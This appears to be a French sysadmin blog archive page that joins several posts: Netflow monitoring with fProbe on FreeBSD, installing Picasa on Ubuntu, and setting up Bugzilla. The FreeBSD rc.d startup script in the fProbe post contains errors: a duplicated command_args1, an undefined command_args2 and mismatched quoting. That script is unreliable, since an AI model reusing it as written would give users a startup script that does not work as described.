Deux protocoles sont disponibles. Le plus connu est Netflow (de la société Cisco). Bien que propriétaire, il est devenu un standard sur le marché. Il a donc été repris (par rétro-ingénierie) et adapté à d’autres environnements dont GNU/Linux et BSD.

Un autre protocole compatible avec Netflow a vu le jour: IPFix de l’IETF. Il y a malheureusement peut de projet qui exploite ce protocole. On peut citer le projet Argus.

Sous GNU/Linux et BSD, j’utilise l’implémentation libre NFDump (disponible ici) qui permet de collecter les données et de les analyser, grâce à des scripts, en lignes de commandes. Il existe également des sondes Netflow libres: fProbe ou nProbe (ce dernier est payant, environ 99€, voir le site du projet).

Pour revenir à Netflow, il permet de récupérer les mesures suivantes:

• Durée du flux
• Protocole réseau (TCP/UDP/ICMP…)
• Adresses source et destination
• Ports source et destination
• Flags TCP
• Champs Tos (DSCP)
• Nombre de paquets
• Taille en octets
• Nombre de paquets par seconde
• Débit en bit par seconde
• Taille en octets par paquets
• Nombre de flux

Conclusion

Cette petite introduction à l’art de l’analyse réseau nous a permis de voir que les logiciels libres sont bien présents sur ce secteur. J’ai sûrement oublié pas mal d’outils que vous, lecteurs, utilisez tous les jours. Je vous propose donc de laisser un petit commentaire ci-dessous avec votre liste personnelle.

Nous allons dans ce billet voir comment installer une sonde Netflow (protocole propriétaire de Cisco) sur une machine FreeBSD. On pourra ensuite collecter les mesures des flux réseaux transitant par notre machine BSD et les remonter à un collecteur avant analyse. Pour en savoir plus sur le protocole Netflow, je vous conseille la lecture de ce billet.

Nous allons utiliser la sonde libre fProbe qui a le bon goût d'être disponible dans les dépôts de FreeBSD.

Installation de fProbe

On installe le logiciel fProbe (version 1.1 au moment de l'écriture de ce billet):

pkg_add -r fprobe

Utilisation de fProbe

Imaginons que votre routeur sous FreeBSD est 2 interfaces réseaux (ce qui est un minimum pour un routeur...): em0 et em1. em0 est votre interface coté LAN et em1 celle coté WAN. Pour capturer les flux transitant sur l'interface WEN et remonté via le protocole NetFlow (sur le port UDP/9991) les mesures vers une machine collecteur ayant pour adresse IP 192.168.0.100, il faut saisir la ligne de commande suivante:

fprobe -i em1 -f ip 192.168.0.100:9991

Il est ensuite facile de récupérer les mesures sur la machine 192.168.0.100 en installant NFDump ou en utilisant NTop et son plugin NetFlow.

Vous pouvez bien évidemment lancer autant de sonde fprobe que nécessaire (par exemple si votre routeur dispose de plusieurs interfaces à surveiller).

Il est également possible d'envoyer les mesures Netflow à plusieurs collecteurs. Pour celà il faut ajouter les couples adresse IP/port UDP à la ligne de commande. Dans ce cas, il faut modifier le script de démarrage de la manière suivante:

vi /usr/local/etc/rc.d/fprobe

#!/bin/sh

#

# $FreeBSD: ports/net-mgmt/fprobe/files/fprobe.sh.in,v 1.1 2006/11/24 07:23:24 clsung Exp $

#

# PROVIDE: fprobe

# REQUIRE: NETWORKING

# KEYWORD: shutdown

# Add the following lines to /etc/rc.conf to enable fprobe:

#

#fprobe_enable="YES"

#

# See fprobe(8) for fprobe_flags

#

. "/etc/rc.subr"

name="fprobe"

rcvar=`set_rcvar`

command="/usr/local/sbin/fprobe"

command_args1="-i em0 -f ip 192.168.0.100:9990"

command_args1="-i em4 -f ip 192.168.0.100:9994"

pidfile="/var/run/$name.pid"

load_rc_config "$name"

: ${fprobe_enable="NO"}

start_cmd="echo \"Starting ${name}."\; ${command} ${command_args1}; ${command} ${command_args2}"

run_rc_command "$1"

Quand vous avez validé votre chaine de mesure (sonde / collecteur), vous pouvez automatiser le lancement de la sonde en modifiant le fichier /usr/local/etc/rc.d/fprobe pour l'adapter à vos besoins et ajouter la ligne suivante au fichier /etc/rc.conf:

fprobe_enable="YES"

Picasa est la réponse de Google à iPhoto d'Apple. Quand une nouvelle fonctionnalité est proposée dans le premier, elle arrive immanquablement dans le second quelques release plus tard. Le logiciel permet de gérer sa collection de photos numériques, avec des fonctions, de classement, retouche, exportation...

Les principaux défauts de Picasa sont:

• le fait qu'il n'est pas libre... Mais je n'ai, à l'heure actuelle pas trouvé de solution open-source arrivant à la qualité de ce logiciel (que ce soit F-Spot, gThumb ou Shotwell...)
• il n'existe pas de version spécifique pour les environnement GNU/Linux (comme on peut le trouver sous Mac OS X) mais une version "winefier" de la version Windows (comme Wine est sous license LGPL, Google l'a intégré au package d'installation de Picasa).

Voici donc une procédure pour installer Picasa sur votre distribution GNU/Linux Ubuntu 9.10.

On commence par ajouter les dépôts Google

sudo vim /etc/apt/sources.list.d/google-karmic.list
# Google repository
deb http://dl.google.com/linux/deb/ stable non-free

# Google testing repository
deb http://dl.google.com/linux/deb/ testing non-free

Puis on importe la clés d'authentification:

wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -

On met à jour notre liste de dépôt puis on installe Picasa:

sudo apt-get update
sudo apt-get install picasa

• 45 techniques CSS/JS chez Smashing Mag
• Guide de tuning IP pour FreeBSD
• Guide de tuning pour sa configuration IP sur GNU/Linux
• Implémenter une QoS de type Diffserv sur un routeur Cisco
• Ipsysctl tutorial
• Iptables tutorial
• FAN (distribution GNU/Linux orientée supervision système et réseau) passe en version 2.0
• Tutoriel d'introduction à cURL (en anglais)

Bugzilla et un outil de suivi de bug (bug tracking system) permettant à une communauté d'utilisateur de logger, suivre et traité les bugs d'un système/logiciel. Bugzilla est utilisé pour le suivi de nombreux logiciels libre: Mozilla, Kernel Linux, Gnome, KDE, Apache, Open Office, Eclipse...

Installation

L'installation est très simple sur Ubuntu:

sudo aptitude install bugzilla3

On accède au serveur par l'URL:

http://adresse_de_votre_serveur/cgi-bin/bugzilla3/

Configuration

Il faut se connecter en utilisant comme login, l'adresse mail d'administration et le mot de passe associé.

Avant d'utiliser le serveur, il faut configurer quelques paramètres en se rendant à la page suivante:

http://adresse_de_votre_serveur/cgi-bin/bugzilla3/editparams.cgi

Notamment les parmaètres:

• Le paramètre maintainer, la personne responsable de cette installation si quelque chose fonctionnait mal.
• Le paramètre urlbase, qui est l'URL pointant vers cette installation et qui sera utilisée dans les courriels (ce qui est aussi la raison pour laquelle vous voyez cette page : tant que ce paramètre ne sera pas défini, vous verrez cette page encore et encore).
• Le paramètre cookiepath, qui est important pour votre navigateur pour gérer correctement vos cookies.
• Le paramètre utf8, qui vous permettra d'encoder tous les textes en UTF-8 si vous le voulez (il est fortement recommandé de laisser ce paramètre activé).

Utilisation

Je vous conseille ensuite de créer un (ou plusieurs) compte admin à partie de l'URL:

http://adresse_de_votre_serveur/cgi-bin/bugzilla3/editusers.cgi?action=add

Il ne vous reste plus qu'a consulter la document en ligne pour vous servir de votre nouveau serveur Bugzilla !

nicolargo a posté une photo :

nicolargo a posté une photo :

nicolargo a posté une photo :

nicolargo a posté une photo :

nicolargo a posté une photo :

nicolargo a posté une photo :

nicolargo a posté une photo :

nicolargo a posté une photo :

nicolargo a posté une photo :